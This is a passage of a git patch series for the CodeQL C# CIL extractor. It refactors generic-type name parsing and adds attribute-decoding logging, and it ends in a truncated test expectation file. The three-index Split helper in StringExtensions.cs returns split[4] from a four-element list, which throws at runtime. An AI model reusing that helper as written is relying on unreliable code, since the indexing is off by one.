trapFile, bool inContext) + { + idWriter.WriteId(trapFile, inContext); + } + } +} diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs index affd2c1d1f8..526d9fcdbcc 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs @@ -47,15 +47,7 @@ namespace Semmle.Extraction.CIL.Entities idWriter.WriteId(trapFile, inContext); } - public override string Name - { - get - { - var name = Cx.GetString(td.Name); - var tick = name.IndexOf('`'); - return tick == -1 ? name : name.Substring(0, tick); - } - } + public override string Name => GenericsHelper.GetNonGenericName(td.Name, Cx.MdReader); public override Namespace ContainingNamespace => Cx.Create(td.NamespaceDefinition); diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs index c808413ce5f..b987909fff9 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs @@ -21,9 +21,9 @@ namespace Semmle.Extraction.CIL.Entities public TypeReferenceType(Context cx, TypeReferenceHandle handle) : base(cx) { this.idWriter = new NamedTypeIdWriter(this); - this.typeParams = new Lazy(MakeTypeParameters); this.handle = handle; this.tr = cx.MdReader.GetTypeReference(handle); + this.typeParams = new Lazy(GenericsHelper.MakeTypeParameters(this, ThisTypeParameterCount)); } public override bool Equals(object? obj) @@ -36,16 +36,6 @@ namespace Semmle.Extraction.CIL.Entities return handle.GetHashCode(); } - private TypeTypeParameter[] MakeTypeParameters() - { - var newTypeParams = new TypeTypeParameter[ThisTypeParameterCount]; - for (var i = 0; i < newTypeParams.Length; ++i) - { - newTypeParams[i] = new TypeTypeParameter(this, this, i); - } - return newTypeParams; - } - public override IEnumerable Contents { get @@ -58,28 +48,11 @@ namespace Semmle.Extraction.CIL.Entities } } - public override string Name - { - get - { - var name = Cx.GetString(tr.Name); - var tick = name.IndexOf('`'); - return tick == -1 ? name : name.Substring(0, tick); - } - } + public override string Name => GenericsHelper.GetNonGenericName(tr.Name, Cx.MdReader); public override Namespace ContainingNamespace => Cx.CreateNamespace(tr.Namespace); - public override int ThisTypeParameterCount - { - get - { - // Parse the name - var name = Cx.GetString(tr.Name); - var tick = name.IndexOf('`'); - return tick == -1 ? 0 : int.Parse(name.Substring(tick + 1)); - } - } + public override int ThisTypeParameterCount => GenericsHelper.GetGenericTypeParameterCount(tr.Name, Cx.MdReader); public override IEnumerable ThisGenericArguments { From db426c1ffe2ccb20216f35042448a7b820cf0a32 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Fri, 4 Dec 2020 13:20:38 +0100 Subject: [PATCH 0223/1241] C#: Extract generic types in CIL attribute extraction --- .../Entities/ConstructedType.cs | 12 +- .../Entities/GenericsHelper.cs | 20 +- ...dataHandleType.FullyQualifiedNameParser.cs | 174 ++++++++++++++++++ .../Entities/NoMetadataHandleType.cs | 113 +++++------- .../Semmle.Extraction.CIL/Entities/Type.cs | 44 ++--- .../Entities/TypeDefinitionType.cs | 30 +-- .../Entities/TypeReferenceType.cs | 17 +- .../Semmle.Extraction.CIL/GenericContext.cs | 2 +- .../Semmle.Extraction.CIL/StringExtensions.cs | 41 +++++ 9 files changed, 313 insertions(+), 140 deletions(-) create mode 100644 csharp/extractor/Semmle.Extraction.CIL/Entities/NoMetadataHandleType.FullyQualifiedNameParser.cs create mode 100644 csharp/extractor/Semmle.Extraction.CIL/StringExtensions.cs diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/ConstructedType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/ConstructedType.cs index 4c9c7683ac6..5be671055eb 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/ConstructedType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/ConstructedType.cs @@ -70,10 +70,6 @@ namespace Semmle.Extraction.CIL.Entities return h; } - public override IEnumerable ThisTypeArguments => thisTypeArguments.EnumerateNull(); - - public override IEnumerable ThisGenericArguments => thisTypeArguments.EnumerateNull(); - public override IEnumerable Contents { get @@ -98,8 +94,6 @@ namespace Semmle.Extraction.CIL.Entities public override Namespace ContainingNamespace => unboundGenericType.ContainingNamespace!; - public override int ThisTypeParameterCount => thisTypeArguments == null ? 0 : thisTypeArguments.Length; - public override CilTypeKind Kind => unboundGenericType.Kind; public override Type Construct(IEnumerable typeArguments) @@ -114,6 +108,12 @@ namespace Semmle.Extraction.CIL.Entities public override void WriteAssemblyPrefix(TextWriter trapFile) => unboundGenericType.WriteAssemblyPrefix(trapFile); + public override int ThisTypeParameterCount => thisTypeArguments?.Length ?? 0; + public override IEnumerable TypeParameters => GenericArguments; + + public override IEnumerable ThisTypeArguments => thisTypeArguments.EnumerateNull(); + + public override IEnumerable ThisGenericArguments => thisTypeArguments.EnumerateNull(); } } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/GenericsHelper.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/GenericsHelper.cs index 8a6eb5dcb8c..c7377637d61 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/GenericsHelper.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/GenericsHelper.cs @@ -1,8 +1,9 @@ +using System.Collections.Generic; using System.Reflection.Metadata; namespace Semmle.Extraction.CIL.Entities { - internal class GenericsHelper + internal static class GenericsHelper { public static TypeTypeParameter[] MakeTypeParameters(Type container, int count) { @@ -22,7 +23,7 @@ namespace Semmle.Extraction.CIL.Entities public static string GetNonGenericName(string name) { - var tick = name.IndexOf('`'); + var tick = name.LastIndexOf('`'); return tick == -1 ? name : name.Substring(0, tick); @@ -36,10 +37,23 @@ namespace Semmle.Extraction.CIL.Entities public static int GetGenericTypeParameterCount(string name) { - var tick = name.IndexOf('`'); + var tick = name.LastIndexOf('`'); return tick == -1 ? 0 : int.Parse(name.Substring(tick + 1)); } + + public static IEnumerable GetAllTypeParameters(Type? container, IEnumerable thisTypeParameters) + { + if (container != null) + { + foreach (var t in container.TypeParameters) + yield return t; + } + + foreach (var t in thisTypeParameters) + yield return t; + + } } } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/NoMetadataHandleType.FullyQualifiedNameParser.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/NoMetadataHandleType.FullyQualifiedNameParser.cs new file mode 100644 index 00000000000..2558a3f56a3 --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/NoMetadataHandleType.FullyQualifiedNameParser.cs @@ -0,0 +1,174 @@ +using System; +using System.Collections.Generic; +using System.Linq; + +namespace Semmle.Extraction.CIL.Entities +{ + internal sealed partial class NoMetadataHandleType + { + /// + /// Parser to split a fully qualified name into short name, namespace or declaring type name, assembly name, and + /// type argument names. Names are in the following format: + /// N1.N2.T1`2+T2`2[T3,[T4, A1, Version=...],T5,T6], A2, Version=... + /// + /// + /// typeof(System.Collections.Generic.List.Enumerator) + /// -> System.Collections.Generic.List`1+Enumerator[[System.Int32, System.Private.CoreLib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e]], System.Private.CoreLib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e + /// typeof(System.Collections.Generic.List<>.Enumerator) + /// -> System.Collections.Generic.List`1+Enumerator, System.Private.CoreLib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e + /// + /// + private class FullyQualifiedNameParser + { + public string ShortName { get; internal set; } + public string? AssemblyName { get; internal set; } + public IEnumerable? TypeArguments { get; internal set; } + public string? UnboundGenericTypeName { get; internal set; } + public string ContainerName { get; internal set; } + public bool IsContainerNamespace { get; internal set; } + + private string AssemblySuffix => string.IsNullOrWhiteSpace(AssemblyName) ? "" : $", {AssemblyName}"; + + public FullyQualifiedNameParser(string name) + { + ExtractAssemblyName(ref name, out var lastBracketIndex); + ExtractTypeArguments(ref name, lastBracketIndex, out var containerTypeArguments); + ExtractContainer(ref name, containerTypeArguments); + + ShortName = name; + } + + private void ExtractTypeArguments(ref string name, int lastBracketIndex, out string containerTypeArguments) + { + var firstBracketIndex = name.IndexOf('['); + if (firstBracketIndex < 0) + { + // not generic or non-constructed generic + TypeArguments = null; + containerTypeArguments = ""; + UnboundGenericTypeName = null; + return; + } + + // "T3,[T4, Assembly1, Version=...],T5,T6" + string typeArgs; + (name, _, typeArgs, _) = name.Split(firstBracketIndex, firstBracketIndex + 1, lastBracketIndex - firstBracketIndex - 1); + + var thisTypeArgCount = GenericsHelper.GetGenericTypeParameterCount(name); + if (thisTypeArgCount == 0) + { + // not generic or non-constructed generic; container is constructed + TypeArguments = null; + containerTypeArguments = $"[{typeArgs}]"; + UnboundGenericTypeName = null; + return; + } + + // constructed generic + // "T3,[T4, Assembly1, Version=...]", ["T5", "T6"] + var (containerTypeArgs, thisTypeArgs) = ParseTypeArgumentStrings(typeArgs, thisTypeArgCount); + + TypeArguments = thisTypeArgs; + + if (string.IsNullOrWhiteSpace(containerTypeArgs)) + { + // containing type is not constructed generics + containerTypeArguments = ""; + } + else + { + // "T3,[T4, Assembly1, Version=...],,]" + containerTypeArguments = $"[{containerTypeArgs}]"; + } + + UnboundGenericTypeName = $"{name}{AssemblySuffix}"; + } + + private void ExtractContainer(ref string name, string containerTypeArguments) + { + var lastPlusIndex = name.LastIndexOf('+'); + IsContainerNamespace = lastPlusIndex < 0; + if (IsContainerNamespace) + { + ExtractContainerNamespace(ref name); + } + else + { + ExtractContainerType(ref name, containerTypeArguments, lastPlusIndex); + } + } + + private void ExtractContainerNamespace(ref string name) + { + var lastDotIndex = name.LastIndexOf('.'); + if (lastDotIndex >= 0) + { + (ContainerName, _, name) = name.Split(lastDotIndex, lastDotIndex + 1); + } + else + { + ContainerName = ""; // global namespace name + } + } + + private void ExtractContainerType(ref string name, string containerTypeArguments, int lastPlusIndex) + { + (ContainerName, _, name) = name.Split(lastPlusIndex, lastPlusIndex + 1); + ContainerName = $"{ContainerName}{containerTypeArguments}{AssemblySuffix}"; + } + + private void ExtractAssemblyName(ref string name, out int lastBracketIndex) + { + lastBracketIndex = name.LastIndexOf(']'); + var assemblyCommaIndex = name.IndexOf(',', lastBracketIndex < 0 ? 0 : lastBracketIndex); + if (assemblyCommaIndex >= 0) + { + // "Assembly2, Version=..." + (name, _, AssemblyName) = name.Split(assemblyCommaIndex, assemblyCommaIndex + 2); + } + } + + private static (string, IEnumerable) ParseTypeArgumentStrings(string typeArgs, int thisTypeArgCount) + { + var thisTypeArgs = new Stack(thisTypeArgCount); + while (typeArgs.Length > 0 && thisTypeArgCount > 0) + { + int startCurrentType; + if (typeArgs[^1] != ']') + { + startCurrentType = typeArgs.LastIndexOf(',') + 1; + thisTypeArgs.Push(typeArgs.Substring(startCurrentType)); + } + else + { + var bracketCount = 1; + for (startCurrentType = typeArgs.Length - 2; startCurrentType >= 0 && bracketCount > 0; startCurrentType--) + { + if (typeArgs[startCurrentType] == ']') + { + bracketCount++; + } + else if (typeArgs[startCurrentType] == '[') + { + bracketCount--; + } + } + startCurrentType++; + thisTypeArgs.Push(typeArgs[(startCurrentType + 1)..^1]); + } + + if (startCurrentType != 0) + { + typeArgs = typeArgs.Substring(0, startCurrentType - 1); + } + else + { + typeArgs = ""; + } + thisTypeArgCount--; + } + return (typeArgs, thisTypeArgs.ToList()); + } + } + } +} diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/NoMetadataHandleType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/NoMetadataHandleType.cs index 34a1afdec50..54d2403e1e1 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/NoMetadataHandleType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/NoMetadataHandleType.cs @@ -7,7 +7,7 @@ using Semmle.Util; namespace Semmle.Extraction.CIL.Entities { - internal sealed class NoMetadataHandleType : Type + internal sealed partial class NoMetadataHandleType : Type { private readonly string originalName; private readonly string name; @@ -15,87 +15,56 @@ namespace Semmle.Extraction.CIL.Entities private readonly string containerName; private readonly bool isContainerNamespace; - private readonly Lazy typeParams; + private readonly Lazy? typeParams; // Either null or notEmpty private readonly Type[]? thisTypeArguments; private readonly Type unboundGenericType; + private readonly Type? containingType; private readonly NamedTypeIdWriter idWriter; public NoMetadataHandleType(Context cx, string originalName) : base(cx) { this.originalName = originalName; - this.name = originalName; this.idWriter = new NamedTypeIdWriter(this); - // N1.N2.T1`3+T2`1[T3,[T4, Assembly1, Version=...],T5,T6], Assembly2, Version=... - // for example: - // typeof(System.Collections.Generic.List.Enumerator) - // -> System.Collections.Generic.List`1+Enumerator[[System.Int32, System.Private.CoreLib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e]], System.Private.CoreLib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e - // typeof(System.Collections.Generic.List<>.Enumerator) - // -> System.Collections.Generic.List`1+Enumerator, System.Private.CoreLib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e + var nameParser = new FullyQualifiedNameParser(originalName); - var lastBracketIndex = name.LastIndexOf(']'); - var assemblyCommaIndex = name.IndexOf(',', lastBracketIndex < 0 ? 0 : lastBracketIndex); - if (assemblyCommaIndex >= 0) + name = nameParser.ShortName; + assemblyName = nameParser.AssemblyName; + isContainerNamespace = nameParser.IsContainerNamespace; + containerName = nameParser.ContainerName; + + unboundGenericType = nameParser.UnboundGenericTypeName == null + ? this + : new NoMetadataHandleType(Cx, nameParser.UnboundGenericTypeName); + + if (nameParser.TypeArguments != null) { - assemblyName = name.Substring(assemblyCommaIndex + 2); - name = name.Substring(0, assemblyCommaIndex); - } - - var firstBracketIndex = name.IndexOf('['); - if (firstBracketIndex >= 0) - { - // TODO: - // * create types for arguments. - // * this type is a constructed generic -> create non constructed one too. - // * adjust containing type name, which can also be a constructed generic - - // thisTypeArguments = - // unboundGenericType = - // containerName = - - throw new NotImplementedException(); - // name = name.Substring(0, firstBracketIndex); + thisTypeArguments = nameParser.TypeArguments.Select(t => new NoMetadataHandleType(Cx, t)).ToArray(); } else { - thisTypeArguments = null; - unboundGenericType = this; + typeParams = new Lazy(GenericsHelper.MakeTypeParameters(this, ThisTypeParameterCount)); } - var lastPlusIndex = name.LastIndexOf('+'); - if (lastPlusIndex >= 0) - { - containerName = name.Substring(0, lastPlusIndex); - name = name.Substring(lastPlusIndex + 1); - isContainerNamespace = false; - } - else - { - var lastDotIndex = name.LastIndexOf('.'); - if (lastDotIndex >= 0) - { - containerName = name.Substring(0, lastDotIndex); - name = name.Substring(lastDotIndex + 1); - } - else - { - containerName = cx.GlobalNamespace.Name; - } - isContainerNamespace = true; - } + containingType = isContainerNamespace + ? null + : new NoMetadataHandleType(Cx, containerName); - this.typeParams = new Lazy(GenericsHelper.MakeTypeParameters(this, ThisTypeParameterCount)); + Populate(); + } + private void Populate() + { if (isContainerNamespace && !ContainingNamespace!.IsGlobalNamespace) { - cx.Populate(ContainingNamespace); + Cx.Populate(ContainingNamespace); } - cx.Populate(this); + Cx.Populate(this); } public override bool Equals(object? obj) @@ -112,7 +81,7 @@ namespace Semmle.Extraction.CIL.Entities { get { - foreach (var tp in typeParams.Value) + foreach (var tp in typeParams?.Value ?? Array.Empty()) yield return tp; foreach (var c in base.Contents) @@ -137,19 +106,7 @@ namespace Semmle.Extraction.CIL.Entities : new Namespace(Cx, containerName) : null; - public override Type? ContainingType => isContainerNamespace - ? null - : new NoMetadataHandleType( - Cx, - string.IsNullOrWhiteSpace(assemblyName) - ? containerName - : containerName + ", " + assemblyName); - - public override int ThisTypeParameterCount => GenericsHelper.GetGenericTypeParameterCount(name); - - public override IEnumerable TypeParameters => typeParams.Value; - - public override IEnumerable ThisTypeArguments => thisTypeArguments.EnumerateNull(); + public override Type? ContainingType => containingType; public override Type SourceDeclaration => unboundGenericType; @@ -181,5 +138,21 @@ namespace Semmle.Extraction.CIL.Entities { idWriter.WriteId(trapFile, inContext); } + + public override int ThisTypeParameterCount => unboundGenericType == this + ? GenericsHelper.GetGenericTypeParameterCount(name) + : thisTypeArguments!.Length; + + public override IEnumerable TypeParameters => unboundGenericType == this + ? GenericsHelper.GetAllTypeParameters(containingType, typeParams!.Value) + : GenericArguments; + + public override IEnumerable ThisTypeArguments => unboundGenericType == this + ? base.ThisTypeArguments + : thisTypeArguments!; + + public override IEnumerable ThisGenericArguments => unboundGenericType == this + ? typeParams!.Value + : thisTypeArguments!; } } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs index adcc6ea9a36..1010028a136 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs @@ -31,29 +31,6 @@ namespace Semmle.Extraction.CIL.Entities return null; } - public IEnumerable TypeArguments - { - get - { - if (ContainingType != null) - { - foreach (var t in ContainingType.TypeArguments) - yield return t; - } - foreach (var t in ThisTypeArguments) - yield return t; - - } - } - - public virtual IEnumerable ThisTypeArguments - { - get - { - yield break; - } - } - /// /// Writes the assembly identifier of this type. /// @@ -109,13 +86,25 @@ namespace Semmle.Extraction.CIL.Entities public abstract Type Construct(IEnumerable typeArguments); /// - /// The number of type arguments, or 0 if this isn't generic. - /// The containing type may also have type arguments. + /// Returns the type arguments of constructed types. For non-constructed types it returns an + /// empty collection. + /// + public virtual IEnumerable ThisTypeArguments + { + get + { + yield break; + } + } + + /// + /// The number of type parameters for non-constructed generic types, the number of type arguments + /// for constructed types, or 0. /// public abstract int ThisTypeParameterCount { get; } /// - /// The total number of type parameters (including parent types). + /// The total number of type parameters/type arguments (including parent types). /// This is used for internal consistency checking only. /// public int TotalTypeParametersCount => ContainingType == null @@ -123,8 +112,7 @@ namespace Semmle.Extraction.CIL.Entities : ThisTypeParameterCount + ContainingType.TotalTypeParametersCount; /// - /// Returns all bound/unbound generic arguments - /// of a constructed/unbound generic type. + /// Returns all bound/unbound generic arguments of a constructed/unbound generic type. /// public virtual IEnumerable ThisGenericArguments { diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs index 526d9fcdbcc..ba9e9cc2eda 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs @@ -53,18 +53,6 @@ namespace Semmle.Extraction.CIL.Entities public override Type? ContainingType => declType; - public override int ThisTypeParameterCount - { - get - { - var containingType = td.GetDeclaringType(); - var parentTypeParameters = containingType.IsNil ? 0 : - Cx.MdReader.GetTypeDefinition(containingType).GetGenericParameters().Count; - - return td.GetGenericParameters().Count - parentTypeParameters; - } - } - public override CilTypeKind Kind => CilTypeKind.ValueOrRefType; public override Type Construct(IEnumerable typeArguments) @@ -103,21 +91,23 @@ namespace Semmle.Extraction.CIL.Entities return newTypeParams; } - public override IEnumerable TypeParameters + public override int ThisTypeParameterCount { get { - if (declType != null) - { - foreach (var t in declType.TypeParameters) - yield return t; - } + var containingType = td.GetDeclaringType(); + var parentTypeParameters = containingType.IsNil + ? 0 + : Cx.MdReader.GetTypeDefinition(containingType).GetGenericParameters().Count; - foreach (var t in typeParams.Value) - yield return t; + return td.GetGenericParameters().Count - parentTypeParameters; } } + public override IEnumerable TypeParameters => GenericsHelper.GetAllTypeParameters(declType, typeParams!.Value); + + public override IEnumerable ThisGenericArguments => typeParams.Value; + public override IEnumerable Contents { get diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs index b987909fff9..2ffa9e9e5d8 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs @@ -52,17 +52,6 @@ namespace Semmle.Extraction.CIL.Entities public override Namespace ContainingNamespace => Cx.CreateNamespace(tr.Namespace); - public override int ThisTypeParameterCount => GenericsHelper.GetGenericTypeParameterCount(tr.Name, Cx.MdReader); - - public override IEnumerable ThisGenericArguments - { - get - { - foreach (var t in typeParams.Value) - yield return t; - } - } - public override Type? ContainingType { get @@ -95,7 +84,11 @@ namespace Semmle.Extraction.CIL.Entities } } - public override IEnumerable TypeParameters => typeParams.Value; + public override int ThisTypeParameterCount => GenericsHelper.GetGenericTypeParameterCount(tr.Name, Cx.MdReader); + + public override IEnumerable TypeParameters => GenericsHelper.GetAllTypeParameters(ContainingType, typeParams!.Value); + + public override IEnumerable ThisGenericArguments => typeParams.Value; public override void WriteId(TextWriter trapFile, bool inContext) { diff --git a/csharp/extractor/Semmle.Extraction.CIL/GenericContext.cs b/csharp/extractor/Semmle.Extraction.CIL/GenericContext.cs index 6dafcf1b1ea..6db62bf5bbf 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/GenericContext.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/GenericContext.cs @@ -17,7 +17,7 @@ namespace Semmle.Extraction.CIL } /// - /// The list of generic type parameters, including type parameters of + /// The list of generic type parameters/arguments, including type parameters/arguments of /// containing types. /// public abstract IEnumerable TypeParameters { get; } diff --git a/csharp/extractor/Semmle.Extraction.CIL/StringExtensions.cs b/csharp/extractor/Semmle.Extraction.CIL/StringExtensions.cs new file mode 100644 index 00000000000..0ceb86d110a --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CIL/StringExtensions.cs @@ -0,0 +1,41 @@ +using System.Collections.Generic; +using System.Linq; + +namespace Semmle.Extraction.CIL +{ + public static class StringExtensions + { + public static (string, string) Split(this string self, int index0) + { + var split = self.Split(new[] { index0 }); + return (split[0], split[1]); + } + + public static (string, string, string) Split(this string self, int index0, int index1) + { + var split = self.Split(new[] { index0, index1 }); + return (split[0], split[1], split[2]); + } + + public static (string, string, string, string) Split(this string self, int index0, int index1, int index2) + { + var split = self.Split(new[] { index0, index1, index2 }); + return (split[0], split[1], split[2], split[4]); + } + + private static List Split(this string self, params int[] indices) + { + var ret = new List(); + var previousIndex = 0; + foreach (var index in indices.OrderBy(i => i)) + { + ret.Add(self.Substring(previousIndex, index - previousIndex)); + previousIndex = index; + } + + ret.Add(self.Substring(previousIndex)); + + return ret; + } + } +} From 8e6e4189b38e34bf713e53dcd3519400f1c47883 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Mon, 7 Dec 2020 11:14:30 +0100 Subject: [PATCH 0224/1241] Add logging to attribute decoding failures --- csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs index 7d6c5ecc49c..4e29c01f659 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs @@ -45,7 +45,8 @@ namespace Semmle.Extraction.CIL.Entities } catch (Exception exc) { - // Attribute decoding is only partial at this stage. + Cx.Cx.Extractor.Logger.Log(Util.Logging.Severity.Info, + $"Attribute decoding is partial. Decoding attribute {constructor.DeclaringType.GetQualifiedName()} failed on {@object}."); yield break; } From f50cdf5ac7ae56c41f022edab867ca7062b1d0de Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Mon, 7 Dec 2020 14:52:06 +0100 Subject: [PATCH 0225/1241] Add logging to missing underlying enum type --- .../Semmle.Extraction.CIL/Entities/CustomAttributeDecoder.cs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/CustomAttributeDecoder.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/CustomAttributeDecoder.cs index 4dc9f8b0017..aa95f49f6e4 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/CustomAttributeDecoder.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/CustomAttributeDecoder.cs @@ -36,6 +36,9 @@ namespace Semmle.Extraction.CIL.Entities return underlying.Value; } + var name = type.GetQualifiedName(); + cx.Cx.Extractor.Logger.Log(Util.Logging.Severity.Info, $"Couldn't get underlying enum type for {name}"); + // We can't fall back to Int32, because the type returned here defines how many bytes are read from the // stream and how those bytes are interpreted. throw new NotImplementedException(); From a7451a12fcd9d1ab725e802f590eb35f5fcad618 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Wed, 9 Dec 2020 21:24:21 +0100 Subject: [PATCH 0226/1241] Fix attribute test after rebase --- .../cil/attributes/attribute.expected | 653 +++++++++++------- 1 file changed, 418 insertions(+), 235 deletions(-) diff --git a/csharp/ql/test/library-tests/cil/attributes/attribute.expected b/csharp/ql/test/library-tests/cil/attributes/attribute.expected index 2f6b557d436..557b97259d2 100644 --- a/csharp/ql/test/library-tests/cil/attributes/attribute.expected +++ b/csharp/ql/test/library-tests/cil/attributes/attribute.expected @@ -1,23 +1,11 @@ attrNoArg -| !0 System.Lazy`1.Value | [DebuggerBrowsableAttribute(...)] | | !0 System.ReadOnlySpan`1.Enumerator.Current | [IsReadOnlyAttribute(...)] | | !0 System.ReadOnlySpan`1.Item | [IsReadOnlyAttribute(...)] | -| !0 System.Threading.Tasks.Task`1.Result | [DebuggerBrowsableAttribute(...)] | -| !0 System.Threading.Tasks.ValueTask`1.Result | [DebuggerBrowsableAttribute(...)] | -| !0 System.Threading.ThreadLocal`1.Value | [DebuggerBrowsableAttribute(...)] | -| !0[] System.Collections.Concurrent.IProducerConsumerCollectionDebugView`1.Items | [DebuggerBrowsableAttribute(...)] | -| !0[] System.Collections.Generic.DictionaryKeyCollectionDebugView`2.Items | [DebuggerBrowsableAttribute(...)] | -| !0[] System.Collections.Generic.ICollectionDebugView`1.Items | [DebuggerBrowsableAttribute(...)] | -| !0[] System.MemoryDebugView`1.Items | [DebuggerBrowsableAttribute(...)] | -| !0[] System.SpanDebugView`1.Items | [DebuggerBrowsableAttribute(...)] | -| !1[] System.Collections.Generic.DictionaryValueCollectionDebugView`2.Items | [DebuggerBrowsableAttribute(...)] | | <>f__AnonymousType0`1 | [CompilerGeneratedAttribute(...)] | -| <>f__AnonymousType0`1.i__Field | [DebuggerBrowsableAttribute(...)] | | | [CompilerGeneratedAttribute(...)] | | Internal.Runtime.InteropServices.ComponentActivator.<>c__DisplayClass6_0 | [CompilerGeneratedAttribute(...)] | | Interop.Sys.<>c__DisplayClass39_0 | [CompilerGeneratedAttribute(...)] | | Interop.Sys.FileStatusFlags | [FlagsAttribute(...)] | -| Interop.Sys.MountPointFound | [UnmanagedFunctionPointerAttribute(...)] | | Interop.Sys.OpenFlags | [FlagsAttribute(...)] | | Interop.Sys.PollEvents | [FlagsAttribute(...)] | | InteropErrorExtensions | [ExtensionAttribute(...)] | @@ -37,9 +25,7 @@ attrNoArg | System.ArraySegment`1 | [IsReadOnlyAttribute(...)] | | System.ArraySegment`1.k__BackingField | [CompilerGeneratedAttribute(...)] | | System.AssemblyLoadEventArgs.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Attribute | [AttributeUsageAttribute(...)] | | System.AttributeTargets | [FlagsAttribute(...)] | -| System.AttributeUsageAttribute | [AttributeUsageAttribute(...)] | | System.Base64FormattingOptions | [FlagsAttribute(...)] | | System.BitConverter.<>c | [CompilerGeneratedAttribute(...)] | | System.BitConverter.IsLittleEndian | [IntrinsicAttribute(...)] | @@ -49,39 +35,23 @@ attrNoArg | System.ByReference`1 | [IsByRefLikeAttribute(...)] | | System.ByReference`1 | [IsReadOnlyAttribute(...)] | | System.ByReference`1 | [NonVersionableAttribute(...)] | -| System.CLSCompliantAttribute | [AttributeUsageAttribute(...)] | -| System.Collections.ArrayList | [DebuggerTypeProxyAttribute(...)] | | System.Collections.Concurrent.ConcurrentQueueSegment`1.Slot.Item | [AllowNullAttribute(...)] | | System.Collections.Concurrent.ConcurrentQueueSegment`1.Slot.Item | [MaybeNullAttribute(...)] | -| System.Collections.Concurrent.ConcurrentQueue`1 | [DebuggerTypeProxyAttribute(...)] | | System.Collections.Concurrent.ConcurrentQueue`1.d__26 | [CompilerGeneratedAttribute(...)] | | System.Collections.Generic.Comparer`1.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Collections.Generic.Dictionary`2 | [DebuggerTypeProxyAttribute(...)] | -| System.Collections.Generic.Dictionary`2.KeyCollection | [DebuggerTypeProxyAttribute(...)] | | System.Collections.Generic.Dictionary`2.KeyCollection.Enumerator._currentKey | [AllowNullAttribute(...)] | | System.Collections.Generic.Dictionary`2.KeyCollection.Enumerator._currentKey | [MaybeNullAttribute(...)] | -| System.Collections.Generic.Dictionary`2.ValueCollection | [DebuggerTypeProxyAttribute(...)] | | System.Collections.Generic.Dictionary`2.ValueCollection.Enumerator._currentValue | [AllowNullAttribute(...)] | | System.Collections.Generic.Dictionary`2.ValueCollection.Enumerator._currentValue | [MaybeNullAttribute(...)] | | System.Collections.Generic.EqualityComparer`1.k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Collections.Generic.KeyValuePair[] System.Collections.Generic.IDictionaryDebugView`2.Items | [DebuggerBrowsableAttribute(...)] | | System.Collections.Generic.KeyValuePair`2 | [IsReadOnlyAttribute(...)] | -| System.Collections.Generic.List`1 | [DebuggerTypeProxyAttribute(...)] | | 